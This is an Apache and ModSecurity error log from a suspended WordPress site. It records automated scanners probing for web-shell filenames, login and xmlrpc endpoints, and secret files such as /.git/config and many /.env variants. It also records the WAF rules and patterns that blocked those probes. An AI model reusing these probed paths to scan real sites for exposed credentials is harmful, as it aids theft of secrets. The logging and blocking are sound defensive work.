[Fri May 22 04:13:38.207395 2026] [:error] [pid 15679:tid 15697] [client 52.242.199.195:24871] File does not exist: /usr/local/apache/htdocs/suspended-page/xmrlpc.php
[Fri May 22 04:13:38.411938 2026] [:error] [pid 15679:tid 15684] [client 52.242.199.195:24871] File does not exist: /usr/local/apache/htdocs/suspended-page/epinyins.php
[Fri May 22 04:13:39.010035 2026] [:error] [pid 15679:tid 15681] [client 52.242.199.195:24871] [client 52.242.199.195] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/style-engine/index.php"] [unique_id "ag9ncyh8tgGc38WJ-GxI0QAAAMA"]
[Fri May 22 04:13:43.690818 2026] [:error] [pid 15679:tid 15693] [client 52.242.199.195:8095] File does not exist: /usr/local/apache/htdocs/suspended-page/wp.php
[Fri May 22 04:13:44.080697 2026] [:error] [pid 15679:tid 15681] [client 52.242.199.195:8095] [client 52.242.199.195] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/style-engine/autoload_classmap.php"] [unique_id "ag9neCh8tgGc38WJ-GxI2gAAAMA"]
[Fri May 22 04:13:48.745379 2026] [:error] [pid 15584:tid 15643] [client 52.242.199.195:11784] [client 52.242.199.195] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/SimplePie/admin.php"] [unique_id "ag9nfN9Z_TVLbNEx52hhkgAAAFc"]
[Fri May 22 04:13:50.561669 2026] [:error] [pid 15583:tid 15608] [client 52.242.199.195:29853] File does not exist: /usr/local/apache/htdocs/suspended-page/ok.php
[Fri May 22 04:13:50.750562 2026] [:error] [pid 15583:tid 15594] [client 52.242.199.195:29853] [client 52.242.199.195] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/item.php"] [unique_id "ag9nfnnaOncRcIm17YVhGQAAAAY"]
[Fri May 22 04:13:55.540987 2026] [:error] [pid 15585:tid 15656] [client 52.242.199.195:24832] [client 52.242.199.195] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/item.php"] [unique_id "ag9ngyKb-vB41AF-LC0hgAAAAIk"]
[Fri May 22 04:14:01.872294 2026] [:error] [pid 15585:tid 15654] [client 52.242.199.195:11540] [client 52.242.199.195] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/item.php"] [unique_id "ag9niSKb-vB41AF-LC0hiwAAAIc"]
[Fri May 22 04:14:03.558943 2026] [:error] [pid 15679:tid 15684] [client 52.242.199.195:9002] [client 52.242.199.195] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/item.php"] [unique_id "ag9niyh8tgGc38WJ-GxI9gAAAMM"]
[Fri May 22 04:14:11.546362 2026] [:error] [pid 15584:tid 15628] [client 52.242.199.195:11811] [client 52.242.199.195] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/byp.php"] [unique_id "ag9nk99Z_TVLbNEx52hhswAAAEg"]
[Fri May 22 04:14:19.450313 2026] [:error] [pid 15679:tid 15699] [client 52.242.199.195:12388] [client 52.242.199.195] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/byp.php"] [unique_id "ag9nmyh8tgGc38WJ-GxJEQAAANI"]
[Fri May 22 07:22:05.763963 2026] [:error] [pid 15585:tid 15662] [client 45.131.195.183:30133] [client 45.131.195.183] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/css/buttons.css"] [unique_id "ag-TnSKb-vB41AF-LC1dYAAAAI8"]
[Fri May 22 09:07:31.982598 2026] [:error] [pid 58813:tid 58818] [client 20.200.218.70:1481] File does not exist: /usr/local/apache/htdocs/suspended-page/test1.php
[Fri May 22 09:07:32.435506 2026] [:error] [pid 58813:tid 58822] [client 20.200.218.70:1481] File does not exist: /usr/local/apache/htdocs/suspended-page/zoom1.php
[Fri May 22 09:07:32.582711 2026] [:error] [pid 58813:tid 58827] [client 20.200.218.70:1481] File does not exist: /usr/local/apache/htdocs/suspended-page/lock360.php
[Fri May 22 09:07:32.730896 2026] [:error] [pid 58813:tid 58832] [client 20.200.218.70:1481] File does not exist: /usr/local/apache/htdocs/suspended-page/r.php
[Fri May 22 09:07:32.878102 2026] [:error] [pid 58813:tid 58829] [client 20.200.218.70:1481] File does not exist: /usr/local/apache/htdocs/suspended-page/sf.php
[Fri May 22 09:07:33.026182 2026] [:error] [pid 58813:tid 58834] [client 20.200.218.70:1481] File does not exist: /usr/local/apache/htdocs/suspended-page/t.php
[Fri May 22 09:07:33.175631 2026] [:error] [pid 58813:tid 58838] [client 20.200.218.70:1481] File does not exist: /usr/local/apache/htdocs/suspended-page/7.php
[Fri May 22 09:07:33.324348 2026] [:error] [pid 58813:tid 58837] [client 20.200.218.70:1481] File does not exist: /usr/local/apache/htdocs/suspended-page/b.php
[Fri May 22 09:07:33.473143 2026] [:error] [pid 58813:tid 58836] [client 20.200.218.70:1481] File does not exist: /usr/local/apache/htdocs/suspended-page/buy.php
[Fri May 22 09:07:33.617713 2026] [:error] [pid 58813:tid 58817] [client 20.200.218.70:1481] [client 20.200.218.70] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/config.php"] [unique_id "ag-sVZ6yyKWDKULhxJ0a6gAAAUE"]
[Fri May 22 09:07:34.224478 2026] [:error] [pid 15679:tid 15694] [client 20.200.218.70:1531] [client 20.200.218.70] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/config.php"] [unique_id "ag-sVih8tgGc38WJ-GyongAAAM0"]
[Fri May 22 09:07:34.807120 2026] [:error] [pid 15584:tid 15636] [client 20.200.218.70:1528] [client 20.200.218.70] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/config.php"] [unique_id "ag-sVt9Z_TVLbNEx52im7wAAAFA"]
[Fri May 22 09:07:35.404920 2026] [:error] [pid 15679:tid 15705] [client 20.200.218.70:1499] [client 20.200.218.70] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/config.php"] [unique_id "ag-sVyh8tgGc38WJ-GyonwAAANg"]
[Fri May 22 10:40:22.835631 2026] [:error] [pid 15585:tid 15669] [client 170.64.166.242:53302] [client 170.64.166.242] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 170.64.166.242, incrementing brute counter"] [hostname "windfarmcoolants.com.au"] [uri "/wp-login.php"] [unique_id "ag_CFiKb-vB41AF-LC211gAAAJY"]
[Fri May 22 10:40:22.839459 2026] [:error] [pid 15585:tid 15669] [client 170.64.166.242:53302] File does not exist: /usr/local/apache/htdocs/suspended-page/wp-login.php
[Fri May 22 11:57:25.619533 2026] [:error] [pid 15584:tid 15641] [client 4.193.252.212:11356] File does not exist: /usr/local/apache/htdocs/suspended-page/404.php
[Fri May 22 11:57:25.710634 2026] [:error] [pid 15584:tid 15644] [client 4.193.252.212:11356] File does not exist: /usr/local/apache/htdocs/suspended-page/abc.php
[Fri May 22 11:57:25.822127 2026] [:error] [pid 15584:tid 15629] [client 4.193.252.212:11356] File does not exist: /usr/local/apache/htdocs/suspended-page/abcd.php
[Fri May 22 11:57:25.913151 2026] [:error] [pid 15584:tid 15638] [client 4.193.252.212:11356] File does not exist: /usr/local/apache/htdocs/suspended-page/about.php
[Fri May 22 11:57:26.015478 2026] [:error] [pid 15584:tid 15633] [client 4.193.252.212:11356] File does not exist: /usr/local/apache/htdocs/suspended-page/admin.php
[Fri May 22 11:57:26.106008 2026] [:error] [pid 15584:tid 15639] [client 4.193.252.212:11356] File does not exist: /usr/local/apache/htdocs/suspended-page/adminfuns.php
[Fri May 22 11:57:26.199450 2026] [:error] [pid 15584:tid 15637] [client 4.193.252.212:11356] File does not exist: /usr/local/apache/htdocs/suspended-page/an.php
[Fri May 22 11:57:26.290670 2026] [:error] [pid 15584:tid 15634] [client 4.193.252.212:11356] File does not exist: /usr/local/apache/htdocs/suspended-page/as.php
[Fri May 22 11:57:26.381893 2026] [:error] [pid 15584:tid 15624] [client 4.193.252.212:11356] File does not exist: /usr/local/apache/htdocs/suspended-page/cache.php
[Fri May 22 11:57:26.563133 2026] [:error] [pid 15584:tid 15635] [client 4.193.252.212:11356] [client 4.193.252.212] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/chosen.php"] [unique_id "ag_UJt9Z_TVLbNEx52jITAAAAE8"]
[Fri May 22 11:57:26.930147 2026] [:error] [pid 15679:tid 15685] [client 4.193.252.212:11344] [client 4.193.252.212] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/chosen.php"] [unique_id "ag_UJih8tgGc38WJ-GzVOAAAAMQ"]
[Fri May 22 11:57:27.321792 2026] [:error] [pid 15585:tid 15668] [client 4.193.252.212:4332] [client 4.193.252.212] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/chosen.php"] [unique_id "ag_UJyKb-vB41AF-LC3TUQAAAJU"]
[Fri May 22 11:57:27.711551 2026] [:error] [pid 15584:tid 15631] [client 4.193.252.212:11379] [client 4.193.252.212] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/chosen.php"] [unique_id "ag_UJ99Z_TVLbNEx52jITgAAAEs"]
[Fri May 22 16:19:54.477140 2026] [:error] [pid 15585:tid 15653] [client 85.137.48.10:56088] File does not exist: /usr/local/apache/htdocs/suspended-page/style.php
[Fri May 22 17:07:56.400415 2026] [:error] [pid 15585:tid 15653] [client 161.118.202.128:58778] [client 161.118.202.128] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/file-manager/initialize"] [unique_id "ahAc7CKb-vB41AF-LC1HtAAAAIY"]
[Fri May 22 17:07:56.576037 2026] [:error] [pid 15679:tid 15684] [client 161.118.202.128:58887] [client 161.118.202.128] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/file-manager/initialize"] [unique_id "ahAc7Ch8tgGc38WJ-GwvegAAAMM"]
[Fri May 22 17:11:07.595310 2026] [:error] [pid 15585:tid 15654] [client 34.93.63.75:58605] [client 34.93.63.75] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/"] [unique_id "ahAdqyKb-vB41AF-LC1JBgAAAIc"]
[Fri May 22 17:11:07.896367 2026] [:error] [pid 15585:tid 15663] [client 34.93.63.75:59662] [client 34.93.63.75] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/ID3/license.txt"] [unique_id "ahAdqyKb-vB41AF-LC1JIwAAAJA"]
[Fri May 22 17:11:08.187953 2026] [:error] [pid 15584:tid 15630] [client 34.93.63.75:61146] [client 34.93.63.75] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/feed/"] [unique_id "ahAdrN9Z_TVLbNEx52gL5wAAAEo"]
[Fri May 22 20:04:48.050399 2026] [:error] [pid 15679:tid 15705] [client 103.121.104.196:54039] [client 103.121.104.196] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 103.121.104.196, incrementing ddos counter"] [hostname "windfarmcoolants.com.au"] [uri "/xmlrpc.php"] [unique_id "ahBGYCh8tgGc38WJ-GxWQAAAANg"]
[Fri May 22 20:04:48.055696 2026] [:error] [pid 15679:tid 15705] [client 103.121.104.196:54039] File does not exist: /usr/local/apache/htdocs/suspended-page/xmlrpc.php
[Sat May 23 00:10:25.479045 2026] [:error] [pid 58813:tid 58836] [client 35.175.113.28:48168] [client 35.175.113.28] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "windfarmcoolants.com.au"] [uri "/.git/config"] [unique_id "ahB_8Z6yyKWDKULhxJ2muQAAAVQ"]
[Sat May 23 00:10:26.760985 2026] [:error] [pid 15585:tid 15670] [client 35.175.113.28:48202] [client 35.175.113.28] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "windfarmcoolants.com.au"] [uri "/.env"] [unique_id "ahB_8iKb-vB41AF-LC24_AAAAJc"]
[Sat May 23 00:10:27.679188 2026] [:error] [pid 15583:tid 15606] [client 35.175.113.28:48226] [client 35.175.113.28] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "windfarmcoolants.com.au"] [uri "/.env.local"] [unique_id "ahB_83naOncRcIm17YVRHwAAABI"]
[Sat May 23 00:10:28.688225 2026] [:error] [pid 58782:tid 58788] [client 35.175.113.28:48250] [client 35.175.113.28] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "windfarmcoolants.com.au"] [uri "/.env.production"] [unique_id "ahB_9IxsdTFafgO8vhRCtAAAAQQ"]
[Sat May 23 00:10:29.643815 2026] [:error] [pid 15583:tid 15597] [client 35.175.113.28:48284] [client 35.175.113.28] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "windfarmcoolants.com.au"] [uri "/.env.staging"] [unique_id "ahB_9XnaOncRcIm17YVRLAAAAAk"]
[Sat May 23 00:10:30.607387 2026] [:error] [pid 15583:tid 15604] [client 35.175.113.28:48314] [client 35.175.113.28] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "windfarmcoolants.com.au"] [uri "/.env.development"] [unique_id "ahB_9nnaOncRcIm17YVRNAAAABA"]
[Sat May 23 00:10:31.523735 2026] [:error] [pid 15583:tid 15611] [client 35.175.113.28:48320] [client 35.175.113.28] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "windfarmcoolants.com.au"] [uri "/.env.test"] [unique_id "ahB_93naOncRcIm17YVROgAAABc"]
[Sat May 23 00:10:32.450535 2026] [:error] [pid 15583:tid 15604] [client 35.175.113.28:54390] [client 35.175.113.28] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "windfarmcoolants.com.au"] [uri "/.env.remote"] [unique_id "ahB_-HnaOncRcIm17YVRPgAAABA"]
[Sat May 23 00:10:33.388611 2026] [:error] [pid 15583:tid 15601] [client 35.175.113.28:54418] [client 35.175.113.28] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "windfarmcoolants.com.au"] [uri "/.env.bak"] [unique_id "ahB_-XnaOncRcIm17YVRQgAAAA0"]
[Sat May 23 00:10:34.296347 2026] [:error] [pid 15583:tid 15591] [client 35.175.113.28:54446] [client 35.175.113.28] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "windfarmcoolants.com.au"] [uri "/.env.backup"] [unique_id "ahB_-nnaOncRcIm17YVRRwAAAAM"]
[Sat May 23 00:10:35.214914 2026] [:error] [pid 58782:tid 58802] [client 35.175.113.28:54484] [client 35.175.113.28] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "windfarmcoolants.com.au"] [uri "/.env.save"] [unique_id "ahB_-4xsdTFafgO8vhRCuwAAARI"]
[Sat May 23 00:10:36.153191 2026] [:error] [pid 58782:tid 58796] [client 35.175.113.28:54530] [client 35.175.113.28] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "windfarmcoolants.com.au"] [uri "/.env.old"] [unique_id "ahB__IxsdTFafgO8vhRCwQAAAQw"]
[Sat May 23 00:10:37.115783 2026] [:error] [pid 15583:tid 15611] [client 35.175.113.28:54568] [client 35.175.113.28] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "windfarmcoolants.com.au"] [uri "/.env.sample"] [unique_id "ahB__XnaOncRcIm17YVRTAAAABc"]
[Sat May 23 00:10:38.039327 2026] [:error] [pid 15583:tid 15591] [client 35.175.113.28:54610] [client 35.175.113.28] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "windfarmcoolants.com.au"] [uri "/.env.example"] [unique_id "ahB__nnaOncRcIm17YVRUQAAAAM"]
[Sat May 23 00:10:38.931979 2026] [:error] [pid 15679:tid 15688] [client 35.175.113.28:54678] [client 35.175.113.28] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "windfarmcoolants.com.au"] [uri "/.env.dev"] [unique_id "ahB__ih8tgGc38WJ-GyTpAAAAMc"]
[Sat May 23 00:10:39.885478 2026] [:error] [pid 15583:tid 15589] [client 35.175.113.28:54734] [client 35.175.113.28] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "windfarmcoolants.com.au"] [uri "/.env.prod"] [unique_id "ahB__3naOncRcIm17YVRVQAAAAE"]
[Sat May 23 00:10:40.819551 2026] [:error] [pid 15583:tid 15606] [client 35.175.113.28:54808] [client 35.175.113.28] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "windfarmcoolants.com.au"] [uri "/.env.stage"] [unique_id "ahCAAHnaOncRcIm17YVRWgAAABI"]
[Sat May 23 00:10:41.747774 2026] [:error] [pid 15583:tid 15604] [client 35.175.113.28:54862] [client 35.175.113.28] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "windfarmcoolants.com.au"] [uri "/.env.ci"] [unique_id "ahCAAXnaOncRcIm17YVRZAAAABA"]
[Sat May 23 01:07:22.814499 2026] [:error] [pid 15679:tid 15696] [client 3.138.195.162:52486] [client 3.138.195.162] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.windfarmcoolants.com.au"] [uri "/.git/config"] [unique_id "ahCNSih8tgGc38WJ-GykAgAAAM8"]
[Sat May 23 01:07:23.862569 2026] [:error] [pid 15585:tid 15660] [client 3.138.195.162:52520] [client 3.138.195.162] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.windfarmcoolants.com.au"] [uri "/.env"] [unique_id "ahCNSyKb-vB41AF-LC3FrQAAAI0"]
[Sat May 23 01:07:24.691213 2026] [:error] [pid 58813:tid 58830] [client 3.138.195.162:52598] [client 3.138.195.162] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.windfarmcoolants.com.au"] [uri "/.env.local"] [unique_id "ahCNTJ6yyKWDKULhxJ2wvgAAAU4"]
[Sat May 23 01:07:25.514502 2026] [:error] [pid 58813:tid 58818] [client 3.138.195.162:52644] [client 3.138.195.162] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.windfarmcoolants.com.au"] [uri "/.env.production"] [unique_id "ahCNTZ6yyKWDKULhxJ2wwgAAAUI"]
[Sat May 23 01:07:26.338117 2026] [:error] [pid 58813:tid 58838] [client 3.138.195.162:42528] [client 3.138.195.162] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.windfarmcoolants.com.au"] [uri "/.env.staging"] [unique_id "ahCNTp6yyKWDKULhxJ2wwwAAAVY"]
